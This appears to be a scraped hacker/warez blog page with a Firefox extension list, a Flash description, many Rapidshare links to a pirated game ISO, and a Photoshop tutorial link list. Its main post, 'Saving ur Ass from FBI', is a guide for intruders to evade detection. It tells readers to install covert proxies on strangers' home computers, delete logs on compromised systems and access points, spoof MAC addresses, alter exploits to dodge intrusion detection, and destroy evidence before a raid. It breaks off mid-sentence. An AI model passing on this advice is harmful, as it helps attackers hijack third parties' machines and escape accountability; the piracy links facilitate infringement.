18. Exit Button Firefox 0.3 - Adds a toolbar button to exit Firefox.
19. Favicon Picker 2 0.3.4.1 - This extension adds UI for replacing bookmark icons.
20. FaviconizeTab 0.9.7.2 - The width of the specified tab becomes small up to the size of favicon.
21. Firefox Extension Backup Extension (FEBE) 4.0.4 - Firefox Extension Backup Extension
22. Fission 0.8.7 - Progress bar in the address bar (Safari style).
23. Flat Bookmark Editing 0.8.1 - Edit bookmarks in the bookmark organizer, without opening the properties window.
24. Forecastfox 0.9.5.2 - Get international weather forecasts and display it in any toolbar or statusbar with this highly customizable extension.
25. Foxmarks Bookmark Synchronizer 0.89 - Synchronizes your bookmarks across machines.
26. FoxyTunes 2.9.1 - Control any media player from Firefox and more...
27. FoxyTunes Skin - Windows Media Player 11 1.2 - Windows Media Player 11 skin for FoxyTunes
28. GDirections 1.0.0 - Finds directions on Google Maps based on your selected text and one of various home addresses. You can manage various 'home addresses' and find directions from one of your home addresses to the selected addresses by right-clicking on that selected address.
29. Gmail Manager 0.5.3 - Gmail accounts management and new mail notifications.
30. Google Browser Sync 1.3.20061031.0 - Synchronize settings between browsers
31. Google Reader Notifier 0.30 - Google Reader Notifier
32. GooglePreview 2.1.4 - Inserts web site previews in Google and Yahoo search results.
33. Greasemonkey 0.6.8.20070314.0 - A User Script Manager for Firefox
34. gTranslate 0.3.1 - Translates the selected text via Google Translate.
35. IE Tab 1.3.1.20070126 - Enables you to use the embedded IE engine within Mozilla/Firefox.
36. Image Zoom 0.2.7 - Adds zoom functionality for images
37. LiveClick 0.2.0 - Turn livemarks into clickable bookmarks.
38. Locationbar² 0.9.0.3 - Emphasizes the domain name and decodes URLs for better readability.
39. Menu Editor 1.2.3.3 - Customize application menus
40. MR Tech Local Install 5.3.2.3 - Local Install power tools for all users. (en-US)
41. Organize Status Bar 0.5.2 - Organize your status bar icons.
42. PermaTabs 1.4.0 - Create permanent tabs that don't close, and stick around between sessions
43. Public Fox 1.04 - Blocks bad downloads and locks down Firefox Settings.
44. ReloadEvery 2.0 - Reloads webpages every so many seconds or minutes
45. Screen grab! 0.93 - Saves a web-page as an image.
46. Searchbar Autosizer 1.3.6 - Expand the searchbox as you type
47. SearchWith 0.3 - Search selected text with various search services
48. Session Manager 0.5.3.2 - Saves and restores the state of all windows.
49. Smart Bookmarks Bar 1.2 - Hides bookmarks' names in the bookmarks bar.
50. Snap Links 0.0.3 - Opens multiple links contained in a selected area in new tabs
51. Split Browser 0.3.2007033001 - Splits browser window as you like.
52. Stylish 0.4 - Customize the look of websites and of the user interface.
53. SwiftTabs 0.3.3.1 - You can move to the next tab or the previous tab and close the current tab with a key.
54. Tab Catalog 1.2.2007030701 - Shows thumbnail-style catalog of tabs.
55. Tab Clicking Options 0.6.8 - Assign tab related actions to clicking events on a tab or the tabbar
56. Tabbrowser Preferences 1.3.1.1 - Enhances control over some aspects of tabbed browsing.
57. User Agent Switcher 0.6.9 - Adds a menu and a toolbar button to switch the user agent of the browser.
58. View Source Chart 2.5.02 - Creates a Colorful Chart of a Webpage's Rendered Source.


--> Read Full Article...

Follow us on Twitter Follow this blog

Adobe Photoshop CS3

Posted by X.E.R.O




Adobe Flash, previously called Shockwave Flash and Macromedia Flash, is a set of multimedia technologies developed and distributed first by Adobe Systems and earlier by Macromedia. Since its introduction in 1996, Flash technology has become a popular method for adding animation and interactivity to web pages; Flash is commonly used to create animation, advertisements, various web page components, to integrate video into web pages, and more recently, to develop rich Internet applications.



Flash can manipulate vector and raster graphics and supports bi-directional streaming of audio and video. It contains a scripting language called ActionScript. It is available in most common web browsers and some mobile phones and other electronic devices (using Flash Lite). Several software products, systems, and devices are able to create or display Flash, including the Adobe Flash Player. The Adobe Flash Professional multimedia authoring program used to create content for the Adobe Engagement Platform, such as web applications, games and movies, and content for mobile phones and other embedded devices.

Download:

--> Read Full Article...

Follow us on Twitter Follow this blog

Brother in Arms Earned in Blood

Posted by X.E.R.O

Download Brother in Arms Earned in Blood iSO
- 13/05/08
http://rapidshare.com/files/65530747/BiA2.part01.rar
http://rapidshare.com/files/65406704/BiA2.part02.rar
http://rapidshare.com/files/65540692/BiA2.part03.rar
http://rapidshare.com/files/65551037/BiA2.part04.rar
http://rapidshare.com/files/65431591/BiA2.part05.rar
http://rapidshare.com/files/65448137/BiA2.part06.rar
http://rapidshare.com/files/65448486/BiA2.part07.rar
http://rapidshare.com/files/65460533/BiA2.part08.rar
http://rapidshare.com/files/65460810/BiA2.part09.rar
http://rapidshare.com/files/65471042/BiA2.part10.rar
http://rapidshare.com/files/65471074/BiA2.part11.rar
http://rapidshare.com/files/65480684/BiA2.part12.rar
http://rapidshare.com/files/65480541/BiA2.part13.rar
http://rapidshare.com/files/65492105/BiA2.part14.rar
http://rapidshare.com/files/65492533/BiA2.part15.rar
http://rapidshare.com/files/65507400/BiA2.part16.rar
http://rapidshare.com/files/65508610/BiA2.part17.rar
http://rapidshare.com/files/65737631/BiA2.part18.rar
http://rapidshare.com/files/65521885/BiA2.part19.rar
http://rapidshare.com/files/65571566/BiA2.part20.rar
http://rapidshare.com/files/65560657/BiA2.part21.rar
http://rapidshare.com/files/65581522/BiA2.part22.rar
http://rapidshare.com/files/65598308/BiA2.part23.rar
http://rapidshare.com/files/65607960/BiA2.part24.rar
http://rapidshare.com/files/65617222/BiA2.part25.rar
http://rapidshare.com/files/65626836/BiA2.part26.rar
http://rapidshare.com/files/65636194/BiA2.part27.rar
http://rapidshare.com/files/65644936/BiA2.part28.rar
http://rapidshare.com/files/65653701/BiA2.part29.rar
http://rapidshare.com/files/65661639/BiA2.part30.rar
http://rapidshare.com/files/65668963/BiA2.part31.rar
http://rapidshare.com/files/65675617/BiA2.part32.rar
http://rapidshare.com/files/65681415/BiA2.part33.rar
http://rapidshare.com/files/65687149/BiA2.part34.rar
http://rapidshare.com/files/65692490/BiA2.part35.rar
http://rapidshare.com/files/65697198/BiA2.part36.rar
http://rapidshare.com/files/65702023/BiA2.part37.rar
http://rapidshare.com/files/65707131/BiA2.part38.rar
http://rapidshare.com/files/65713086/BiA2.part39.rar
http://rapidshare.com/files/65725425/BiA2.part40.rar
http://rapidshare.com/files/65752324/BiA2.part41.rar
http://rapidshare.com/files/65763220/BiA2.part42.rar
http://rapidshare.com/files/65773342/BiA2.part43.rar
http://rapidshare.com/files/65784027/BiA2.part44.rar
http://rapidshare.com/files/65796154/BiA2.part45.rar
--> Read Full Article...

Follow us on Twitter Follow this blog

Website links for tutorials

Posted by X.E.R.O

Though I would create a list of websites for beginners to learn from or pros to learn a new trick or 2.

http://www.good-tutorials.com/tutorials/photoshop/
http://www.tutorialized.com/tutorials/Photoshop/1
http://photoshoptutorials.ws/
www.photoshopstar.com
www.photoshopcafe.com/tutorials.htm
www.absolutecross.com/tutorials/photoshop/
www.grafx-design.com/phototut.html
http://www.smashingmagazine.com/2007/01/12/hand-picked-photoshop-tutorials/
www.photoshoproadmap.com/Photoshop-tutorials
www.pstut.com/
www.photoshop101.com/
www.photoshopnewbies.com/
www.photoshopsupport.com/tutorials.html
www.fstutorials.com/
www.easytutorials.org/photoshop_tutorials.html
www.deviantart.com (search for tutorials)
--> Read Full Article...

Follow us on Twitter Follow this blog

Things you should not do - (Saving ur Ass from FBI)

Posted by X.E.R.O

There are some things that you should avoid doing at all costs if you don't want caught. I think it's important to go over these first because there are a lot of common myths and falsehoods that should probably be cleared up before I go on and explain good ways to protect yourself. Keep in mind, these are things you _shouldn't_ do.

Use AOL, MSN, or any small ISP (assuming you're doing this from your home).

If you do stuff from home, or even just do research of some kind from home, you should avoid MSN, AOL, and smaller "home-town" type ISP's. AOL and MSN watch their customers very closely for any activity that might indicate you are involved in breasking into a system and may call the cops, turn off your internet, or a multitude of other things. Smaller ISP's tend to do the same kind of thing.

Make any operational changes to the compromised computer(s)

When you compromise or probe a system you should not do anything that has a good potential of negatively impacting the performance of that system. People will notice if something stops working right or starts working slower than normal, and will investigate the reason behind it.

Leave a calling card

Don't leave any sort of calling card that'll tip someone off to your presence. This includes defaced web pages, deleted system logs, logs edited in ways that aren't believable, etc. This is again, because it lets the target know that someone has been messing with things.

Use Proxies

This mostly applies to the proxies found on public proxy lists, but it should be held as a general rule. Do not use proxies to try to mask where you are connecting from. Most proxies keep logs of who uses them and for what. If your mark realizes something is going on they can probably just get the party responsible for the proxy to release the relevant logs. This isn't to say that proxies should never be used. They just should not be relied on. Ideally, any proxy you use should be one you are sure does not log anything, or one which you can access and delete log entries related to you.

Use automated exploit scanning tools

Don't use programs like X-Scan, Nessus, Saint, SuperScan, Languard, or anything else like that to get info about targets. These programs tend to check for every possible thing which could be wrong with a given system, which will generate a lot of error messages on your target's system and fill their logs, which is a pretty good indication to them that someone is attacking them. Such programs also tend to trigger intrusion detection systems like Snort.


Tell anybody about what you're doing or have done

The fewer people who know the better, because then there are less people who can rat you our or let it slip. Avoid working in groups if possible.

Attempt unrealistic methods of intrusion

Don't try to do stuff like use IIS exploits against Apache, or IA32 shellcode on a computer with a PPC processor in it. These are sure-fire tip offs to someone that something is going on, and will also trigger most IDS devices. Along with this, you should avoid using automated password guessing programs because they'll cause you the same kind of trouble, and you probably won't gain anything.

Give yourself a user account

Avoid giving yourself a user account on a target system. If you can, use an existing account or access the system using a method that doesn't require authentication.

Do it from a public computer

Although it might be tempting, you shouldn't use public computers for any kind of hacking. While it does grant you relative anonymity, you can't be sure that someone won't walk past and see what you're doing, that there are no cameras around, or that the machine doesn't log what you use it for.

Write things down or print things off

Keep stuff on computer where you can encrypt it and hide it from prying eyes. Don't write stuff down or print it off because then someone might find it laying around. Plus, papers found with you can be used as evidence while most text-based computer documents can't be.

Respond to any odd communications you get regarding your target.

This might sound obvious, but don't respond to any communications you get from anyone regarding your target. If someone contacts you about your target then cease all activity right away.

Use mind altering drugs or hack when you've had a lack of food or sleep.

All of these can cause you to make stupid, stupid mistakes.

Stuff you should do
Enough with things you should avoid doing, and on to things you should do. This section is broken up into little segments about different topics.


Your Environment
Something that is a lot more important than you would think is the environment in which you work. Make sure you are relaxed, have access to some place comfortable to sit, and are not rushed. Avoid recurring distractions like the telephone, and turn off things like the TV or the radio. Music is good, but don't listen to music that makes you feel particularly rushed, excited, or tense. Turn off any messaging programs or anything like that.

The idea is to make it so you can completely focus on the task at hand without feeling rushed or uncomfortable. If you maintain a relaxed state of mind and body you will make less mistakes and will think through your actions more carefully. It's really easy to forget what you're doing and then make a mistake later if you get pulled away from the computer by the phone or something. Take frequent brakes and sit down and relax. Also, make sure you have plently of sleep, food, and what not so you're brain is working well. Needless to say, save the cannibus, alcohol. or whatever else for the victory dance, hehe.

Proxies - Revisited
Yeah, I said not to use proxies. That's because it's easier to tell someone not to do something that to explain to them the right way to do it. So, this is the "right way". When it comes to proxies your best source of them is yourself. You should use proxies you have set up on other people's machines. There are many pieces of software avilable online which will act as a SOCKS proxy if you install it on someone's computer.

Register an account with a free dynamic DNS service like dyndns.org and then install proxies on home machines, and use the dynamic DNS services so you can always find the machines you've made into proxies. The advantage of this approach is that individual home users are a lot less likely to monitor their computers (many home PC's are part of a bot net anyway), and you don't have to worry about logs.

It's best to use proxies which support encryption so the traffic sent between the proxy and your machine can't be sniffed by anyone in between.

Also, on the topic of proxies, it should be noted that any program can be used through a proxy if you take the correct measures. Two pieces of software you should look into are tsocks and proxychains. Both of them can take all of the TCP I/O of a program and send it through a chain of proxies. You can even use them to do anonymous portscanning and the like. About the only thing they don't work well with is FTP, due to the way FTP connections work.

If you have the time to do so you should check out the Tor project (http://tor.eff.org/), which is a decentralized, encrypted network of proxies which anyone can use to mask the source of a connection. It seems to work prety well, except that connections over Tor have a higher latency than connections without it.

Data Protection
Protect the data on your computer(s) from prying eyes. Don't use some kind of stupid method like a commercial crypto-disk software which probably has a backdoor in it. There are better ways. One of the best ways I have seen is to use the cryptodisk function found in the Linux kernel. Basically, you can make a image file which can be mounted as a file system (with the correct password). When it's not mounted the data is encrypted using any algorithm you like (anything from 3DES to AES or Twofish). There's a good tutorial on how to set this up here: http://www.tldp.org/HOWTO/Cryptoloop-HOWTO/

If you're not able to take that route, using PGP/GPG is a good idea. GPG is an open source encryption program that uses a public key architecture and is pretty much the de-facto standard for encrypting documents. It's a good idea to encrypt any saved logs or data using it. If you're using a system with it installed (any *NIX) open a command prompt, run gpg --gen-key and follow the directions. It's a very useful piece of software.

As far as hiding and encrypting data it's a good idea to avoid any commercial software and the methods of encryption used by programs like Winzip and Winrar. In short, don't use any application-specific method of protecting your data. Don't rely on the password protection of Word documents, for example.

Also, it's not a horrible idea to have some kind of plan in place to destroy all of your data very quickly in the event of a raid or something like that. Granted, you probably won't ever have to actually use the plan, but it's like hacing insurance. Better safe than sorry. It's best to dispose of magnetic disks like floppies and hard drives using very strong magnets or very high heat. Heat is best, since the media will warp and expand. One thing I used to do was keep a coffee can with a magnet taped to the lid, and keep floppies in the can. That way knocking over the can would erase the disks.

Hiding your data somewhere no one will look is a good idea as well. Some HP network printers use a version of DOS which will allow you to store files on the flash drive in the printer, for example. Who is going to look for your stored files on a printer? All the better if they're encrypted too.

Wireless
The spread of wireless internet access has made it a lot easier to hide one's identity on the internet. If an attack is made from a network with an attached wireless AP it's almost impossible to know who did it. However, if you choose to go this route you need to take special precautions.

Obviously, don't be suspicious, and don't get yourself on camera. Also don't use programs like Net Stumbler to find networks. Use a passive tool like Kismet, or just put your card in monitor mode and use Ethereal. Do NOT use a Windows computer for this. Windows loves to broadcast all sorts of identifying data all over the place, and you don't want that on someone else's wifi net. In fact, make sure any programs which automatically connect to anything online are turned off so you don't make any more traffic than you have to. It's also a good idea to change the MAC address of your wifi card using a program like macchanger or travesty.

If you can, you should get into the AP and delete logs related to your computer as well. That way no one even knows anyone out of the ordinary was using the network. Otherwise you might suddenly find that networks you frequent become closed.

Using Exploits
Probably one of the most effective ways into a system is to exploit a vulnerability in a piece of software installed on that system. It could be an exploit for anything from an anti-virus program, to a web server, to something as odd as a word processor. Such exploits are plentiful, available all over the internet, and most systems have at least one piece of software installed which is vulnerable to an exploit. All of this makes using known exploits very attractive. Well, before you happily go and use someone else's exploit code there are some precautions you should take.

First of all, most of the time when a vulnerability is discovered one to two pieces of code are released for exploiting it. In most cases these pieces of code send some kind of distinguishing data to the target, so such data is often added to the signature lists of IDS software very quickly. Exploits which cause something to listen on a port are usually added to IDS software pretty quickly too, because they tend to use the same port all the time. So, if you just plan to use someone else's un-modified code, you probably shouldn't. The best practice is usually to write your own code that exploits a known vulnerability in a fashion that won't set off too many alarms. If you don;t have that level of skill you can always try modifying someone else's code.

Most exploits have a section somewhere in them called the "payload" which is basically the instructions the exploit has the target run. Most of the time "shellcode" is placed here, which is a hashed and obsfucated list of command line instructions. Again, most of the time the goal of shellcod